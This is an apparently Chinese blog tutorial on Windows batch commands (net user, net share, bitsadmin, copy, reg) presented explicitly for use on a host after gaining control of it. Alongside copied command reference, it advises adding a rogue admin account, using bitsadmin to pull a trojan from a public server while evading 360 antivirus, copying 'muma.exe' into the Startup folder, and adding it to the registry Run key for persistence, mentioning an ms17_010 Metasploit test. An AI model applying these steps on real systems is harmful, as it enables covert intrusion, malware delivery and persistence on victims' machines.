提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、BAT是什么?

提示:以下是本篇文章正文内容,下面案例可供参考

一、BAT是什么?

1. 批处理文件,在DOS和Windows(任意)系统中,.bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用。这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

、为什么使用BAT

  1. 但也因为BAT的局限性很多东西是做不出来的,使用Python等语言可以轻松做BAT做不出的脚本。那为什么要学习它呢?如果我们获取了另一台主机的控制权限,但我们发现当前主机上没有Python等语言的环境,如果帮它装一个Python可能动作过大会被发现。此时我们的BAT就发挥用处了,因为每一个Windows系统都自带BAT环境及可执行文件

三、使用步骤

1.基本使用

BAT基本命令


四、常用命令

NET View:

显示指定计算机共享的域、计算机或资源的列表。在不带参数的情况下使用,net view 将显示当前域中的计算机列表。

语法  Net view [\\ComputerName [/CACHE] | [/ALL] | /DOMAIN[:DomainName]]
\\ComputerName:指定包含要查看的共享资源的计算机
/CACHE:         显示指定计算机上资源的脱机客户端缓存设置
/ALL:           显示所有共享,包括$共享
/domain[:D omainName]:指定要查看其可用计算机的域。如果省略“域名”,/域将显示网络中的所有域。
使用 net view 命令显示计算机列表。输出类似于以下内容:共享名                类型
-------------------------------------------------
\\Production          Production file server
\\Print1              Printer room, first floor
\\Print2              Printer room, second floor
例子
Net view /ip 查看ip共享的目录也可以是计算机名
NEt view /domain: workgroup 查看括号中的计算机可用域

NET User

添加或更改用户帐号或显示用户帐号信息

语法:
net user [<UserName> {<Password> | *} [<Options>]] [/domain]
net user [<UserName> {<Password> | *} /add [<Options>] [/domain]]
net user [<UserName> [/delete] [/domain]]参数
<username>指定要添加、删除、修改或查看的用户帐户的名称。用户帐户的名称最多可包含 20 个字符。<password>为用户帐户分配或更改密码。键入星号 (*) 以生成密码提示符。当用户在密码提示符下键入密码时,不会显示密码。/domain在计算机的主域中的域控制器上执行该操作。<options>指定命令行选项。有关命令行选项语法的说明net help <Command> 显示指定 net 命令的帮助。option选项{/active:{否 | 是}启用或禁用用户帐户。如果用户帐户未处于活动状态,则用户无法访问计算机上的资源。默认值为 yes(即活动)。/comment:“<Text>”提供有关用户帐户的描述性注释。此注释最多可包含 48 个字符。将文本括在引号中。/国家代码:<NNN>使用操作系统国家/地区代码为用户的帮助和错误消息实现指定的语言文件。值为 0 表示默认的国家/地区代码。/expires:{{<MM/DD/YYYY> | <DD/MM/YYYY> | <mmm,dd,YYYY>} | never}如果指定日期,则使用户帐户过期。到期日期可以是 [MM/DD/YYYY]、[DD/MM/YYYY] 或 [mmm,dd,YYYY] 格式,具体取决于国家/地区代码。请注意,该帐户将在指定日期的开头过期。对于月份值,您可以使用数字、拼出数字或使用三个字母的缩写(即 1 月、2 月、3 月、4 月、5 月、6 月、7 月、8 月、9 月、10 月、11 月、12 月)。可以使用两个或四个数字作为年份值。使用逗号或斜杠分隔日期的各个部分。不要使用空格。如果省略 <YYYY>,则假定日期的下一个匹配项(即,根据计算机的日期和时间)。例如,如果在 1994 年 1 月 10 日和 1995 年 1 月 8 日之间输入以下条目,则这些条目是等效的:1月,91/9/951995年1月9日1/9/fullname:“<Name>”指定用户的全名而不是用户名。将名称括在引号中。/homedir:<Path>设置用户主目录的路径。路径必须存在。/passwordchg:{yes | no}指定用户是否可以更改自己的密码。默认值为 yes。/passwordreq:{yes | no}指定用户帐户是否必须具有密码。默认值为 yes。/profilepath:[<Path>]设置用户登录配置文件的路径。此路径指向注册表配置文件。/脚本路径:<路径>设置用户登录脚本的路径。<路径>不能是绝对路径。<路径>相对于 %systemroot%\System32\Repl\Import\Scripts。/times:{<天>[<-天>][,<天><天>]],<时间>[-<时间>][,<时间>[-<时间>]][;] |全部}指定允许用户使用计算机的次数。<时间>限制为一小时为增量。对于<Day>值,可以拼写出日期的名称或使用缩写(即 M,T,W,Th,F,Sa,Su)。您可以使用 12 小时制或 24 小时制表示小时制。如果使用 12 小时制,请使用 AM 和 PM,或者使用 A.M 和 P.M。该值 all 表示用户始终可以登录。空值(空白)表示用户永远无法登录。用逗号分隔日期和时间,用分号分隔日和时间单位(例如,M,4AM-5PM;T,下午1点-下午3点)。指定时间时不要使用空格。/usercomment:“<Text>”指定管理员可以添加或更改帐户的“用户注释”。将文本括在引号中。/workstations:{<ComputerName>[,...] | *}列出多达八个工作站,用户可以从这些工作站登录到网络。用逗号分隔列表中的多个条目。如果 /workstation 没有列表或列表是星号 (*),则用户可以从任何计算机登录。
}
例子
net user:显示本地计算机的所有用户帐户的列表:
net user swgl 显示swgl的信息
net user swgl /time:M-F,08:00-17:00  miked 的登录时间 (8 A.M. 设置为 5 P.M.)
net user admin 123 /add 增加admin用户
net user admin /del 删除admin用户 注意:此操作需要拥有权限
使用net user增加恶意用户等

Net Start

启动服务,或显示已启动服务的列表

语法
net start [服务名称]
例子
net start mysql
net start ftp
注:开启服务后进一步渗透等..

Net Share 

创建、删除或显示共享资源

语法
net share <ShareName>
net share <ShareName>=<drive>:<DirectoryPath> [/grant:<user>,{read | change |full}] [/users:<number> | /unlimited] [/remark:<text>] [/cache:{manual | documents | programs | BranchCache |none} ]
net share [/users:<number> | /unlimited] [/remark:<text>] [/cache:{manual | documents | programs | BranchCache |none} ]
net share {<ShareName> | <DeviceName> | <drive>:<DirectoryPath>} /delete
net share <ShareName> \\<ComputerName> /delete参数
<ShareName>
指定共享资源的网络名称。键入具有 ShareName 的 net share 以仅显示有关该共享的信息。<drive>:<DirectoryPath>
指定要共享的目录的绝对路径。/grant:<user>,{read | change |full}
使用安全描述符创建共享,该安全描述符向指定用户提供请求的权限。可以授予用户的权限包括:读取、更改或完全。此选项可以多次用于向多个用户授予共享权限。/users:<number>
指定可以同时访问共享资源的最大用户数。/unlimited
指定无限数量的用户可以同时访问共享资源。/remark: <text>
添加有关资源的描述性注释。将文本括在引号中。<DeviceName>
指定由 ShareName 共享的一台或多台打印机(LPT1:通过 LPT9)。/delete
停止共享资源。/cache: manual
允许从此共享手动客户端缓存程序和文档。/cache: documents
启用此共享中文档的自动缓存。/cache: programs
启用从此共享自动缓存文档和程序。/cache: BranchCache
启用手动缓存文档,并从此共享启用分支缓存。/cache: none
禁用来自此共享的缓存。net help <command>
显示指定 net 命令的帮助。共享目录      共享目录                          注释-------------------------------------------------------------------------------
ADMIN$       C:\windows                      Remote Admin
C$           C:\                             Default share
CCMLOGS$     C:\windows\CCM\Logs             Public Share
ccmsetup$    C:\windows\ccmsetup             Public Share
IPC$                                         Remote IPC
public       C:\public
Users        C:\Users
The command completed successfully.
例子
删除共享
net share c$ delete
net share ipc$ /delete
net share 文件地址 /delete
增加共享
net share 共享名=共享目录
net share sp=e:\sp

Net Localgroup

添加、显示或更改本地组

语法
net localgroup [<GroupName> [/comment:"<Text>"]] [/domain]
net localgroup [<GroupName> {/add [/comment:"<Text>"] | /delete} [/domain]
net localgroup [<GroupName> <Name> […] {/add |  /delete} [/domain]参数
<GroupName>
指定要添加、展开或删除的本地组的名称。在不带其他参数的情况下使用**net localgroup <**GroupName> 显示本地组中用户或全局组的列表。/comment:“<Text>”
为新组或现有组添加注释。注释最多可包含 256 个字符。将文本括在引号中。/domain
在当前域的主域控制器上执行操作。否则,将在本地计算机上执行该操作。<Name>[ ...]
列出要在本地组中添加或移除的一个或多个用户名或组名。/add
将全局组名称或用户名添加到本地组。必须先为用户或全局组建立帐户,然后才能使用此命令将其添加到本地组。/delete
从本地组中删除组名或用户名。net help <Command>
显示指定 net 命令的帮助。
例子
net localgroup 本地服务器上所有本地组的列表
net localgroup exec /add  Exec 的本地组添加到本地用户帐户数据库中
net localgroup exec /add /domain  Exec 的本地组添加到域用户帐户数据库中
net localgroup 用户组 用户 /delete 删除用户组中的某个用户
net localgroup 用户组 删除用户组

Net Computer

从域数据库中添加或删除计算机

语法
net computer \\<ComputerName> {/add | /del}\\<computername>指定要在当前登录的域的域数据库中添加或删除的计算机。只能指定一台计算机。不能指定其他域。{/add | /del}在域数据库中添加或删除指定的计算机。net help <Command>
显示指定 net 命令的帮助。
例子
net computer \\grizzlybear /add  将计算机添加到域数据库

bitsadmin

Bitsadmin 是一个命令行工具,用于创建、下载或上传作业并监视作业进度。 bitsadmin 工具使用开关来标识要执行的工作。 可以调用 bitsadmin /? 或 bitsadmin /help 获取开关列表。

例子
bitsadmin /transfer down /download /priority normal
url 路径(C:\\,D:\\等路径)
注:可将把生成的木马放在公网上使用该命令下载到系统中,不受到360等限制使用,在BAT脚本中启动木马

copy

拷贝文件

COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/L] [/A | /B ] source [/A | /B]
[+ source [/A | /B] [+ ...]] [destination [/A | /B]]
source指定要复制的文件。
/A 表示一个 ASCII 文本文件。
/B 表示一个二进位文件。
/D 允许解密要创建的目标文件
destination 为新文件指定目录和/或文件名。
/V 验证新文件写入是否正确。
/N 复制带有非 8dot3 名称的文件时,
尽可能使用短文件名。
/Y 不使用确认是否要覆盖现有目标文件
的提示。
/-Y 使用确认是否要覆盖现有目标文件
的提示。
/Z 用可重新启动模式复制已联网的文件。
案例
补充:在Windows中使用win+r启用运行输入 shell:startup跳转到开机启动文件夹在这个文件夹下系统开机后会自动启动这个文件夹下的可执行文件copy c:\muma.exe C:\Users\test\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
将muma文件拷贝到开机启动文件夹下

reg

更改注册表

reg add
reg compare
reg copy
reg delete
reg export
reg import
reg load
reg query
reg restore
reg save
reg unloadreg add   向注册表中添加新的子项或条目。
reg compare 比较指定的注册表子项或条目。
reg copy    将注册表项复制到本地或远程计算机上的指定位置。
reg delete  删除注册表中的一个或一些项。
reg export  将本地计算机的指定子项、项和值复制到文件中,以便传输到其他服务器。
reg import  将包含导出的注册表子项、项和值的文件的内容复制到本地计算机的注册表中。
reg load    将保存的子项和项写入注册表中的不同子项。
reg query   返回位于注册表中指定子项下的子子项和条目的列表。
reg restore 将保存的子项和项写入注册表。
reg save    在指定的文件中保存指定子项、项和注册表值的副本。
reg unload  删除使用 reg load 操作加载的注册表部分。
思路
使用reg更改注册表将木马程序加入到注册表的开机启动项当中
KEY_CURRENT_USERSoftware\Microsoft\Windows\CurrentVersion\Run

注:BAT最重要的是批量,不是叫你一个一个输入而是将命令写入一个BAT脚本中一次性执行完毕,需要注意权限等等情况。本人提供的只是一个思路不一定完全正确

实现环境:Windows7+kali linux使用msfconsole ms17_010测试

网络安全关于Windows下BAT脚本使用相关推荐

  1. windows下BAT脚本ftp上传文件

    windows下BAT脚本ftp上传文件 若有需要请替换ftpip.ftpuser.ftppasswd 为自己ftp服务器地.用户名以及密码. @echo off rem 获取系统时间的星期值 rem ...

  2. windows下bat脚本实现定时删除指定文件夹下的文件和文件夹

    业务需求:使用bat脚本,实现每隔一小时,定时删除文件路径为E:\ABC\DEF下的所有文件和文件夹. 1.首先新建一个del.txt文本 del /f /s /q E:\ABC\DEF\*.* cd ...

  3. Windows下bat脚本中调用另一个bat脚本

    一.调用命令: call 要调用的脚本名 二.示例: XXX.bat @echo off set name=%~n0 echo 这是%name%脚本 echo 111开始111 echo %date: ...

  4. windows下bat脚本自动重启Apache服务

    问题描述 客户使用的集成环境phpstudy,上面运行的是php+apahce+mysql,经常无故apache异常导致网站无法打开,需要重启apache服务恢复.由于不方便变更基础环境,故考虑使用b ...

  5. Windows下bat脚本(cmd命令学习)

    怎么创建bat文件? ①使用copy con 文件名 这样既可在黑窗口里面书写bat命令,然后写完后按ctrl+z结束编辑 ②使用edit来创建(很古老已不用) ③使用记事本,改扩展名为bat(现在几 ...

  6. windows下bat脚本中for的用法

    FOR这条命令基本上都被用来处理文本,但还有其他一些好用的功能! 看看他的基本格式(这里我引用的是批处理中的格式,直接在命令行只需要一个%号) FOR 参数 %%变量名 IN (相关文件或命令) DO ...

  7. windows下 bat脚本合并多文档csv数据

    代码示例: @echo offsetlocal enabledelayedexpansioncopy *.csv newFile.csvecho ' 合并成功!'pause 1.将下载的csv 解压保 ...

  8. Windows下bat脚本获取Path环境变量

    :: 设置环境变量   :: 关闭终端回显 @echo off   set ENV_PATH=%PATH% @echo %ENV_PATH%   :: 添加环境变量,即在原来的环境变量后加上英文状态下 ...

  9. Windows下bat脚本获取格式化日期时间

    date各个字段的含义: %date:~0,4%  表示指针从左向右向右偏0位,然后从指针偏移到的位置开始提取4位字符,结果是2021(年字段数值) %date:~5,2%  表示指针从左向右偏移5位 ...

最新文章

  1. SpringBoot (四) :SpringBoot整合使用JdbcTemplate
  2. static_cast函数
  3. WIN10 中mysql8 忘记密码
  4. 使用OpenSSL为支付宝生成RSA私钥
  5. TIOBE 4月编程语言排行榜:C++重回前三,PHP下降明显
  6. 一个java写的贪吃蛇程序
  7. 【图像修复】基于matlab GUI中值+均值+维纳+最小平方图像恢复【含Matlab源码 838期】
  8. 风控建模一、初步认识风控
  9. 配置Windows通过腾讯云服务器远程Ubuntu系统
  10. 交叉编译libxcb与X11
  11. Java 三个枪手游戏
  12. 微信公众号模板如何使用?公众号模板教程!
  13. vb.net产生随机数Random代码实例
  14. 用matlabd批量处理图片
  15. 手机版python3h如何自制游戏_教你如何用 Python 写一个小游戏
  16. 通信教程 | I²C基础原理及通信协议
  17. Web系统大规模并发——电商秒杀与抢购
  18. 从网瘾少年逆袭拿到微软、字节等offer(上)
  19. linux下文件与Windows下文件格式的区别与转换
  20. vos3000及外呼系统编码所占带宽详细说明

热门文章

  1. 随机数函数rand()和srand()的区别
  2. java摇号抽奖程序,Excel真的太强大了,能把抽奖功能做成车牌号摇号程序,真是人才...
  3. matlab建立ar时间序列模型_Matlab时间序列-AR-AR模型.doc
  4. nonebot,cqhttp 机器人学习1
  5. 数据结构(从概念到C++实现)
  6. 微信公众号查询账户余额等
  7. 设计技巧之:LOGO色彩搭配
  8. 概率图几种模型的简介和比较
  9. JAVAScript——JQuery—$ ( )
  10. 红米手机html文件,手机教程知识:红米手机显示隐藏文件的操作流程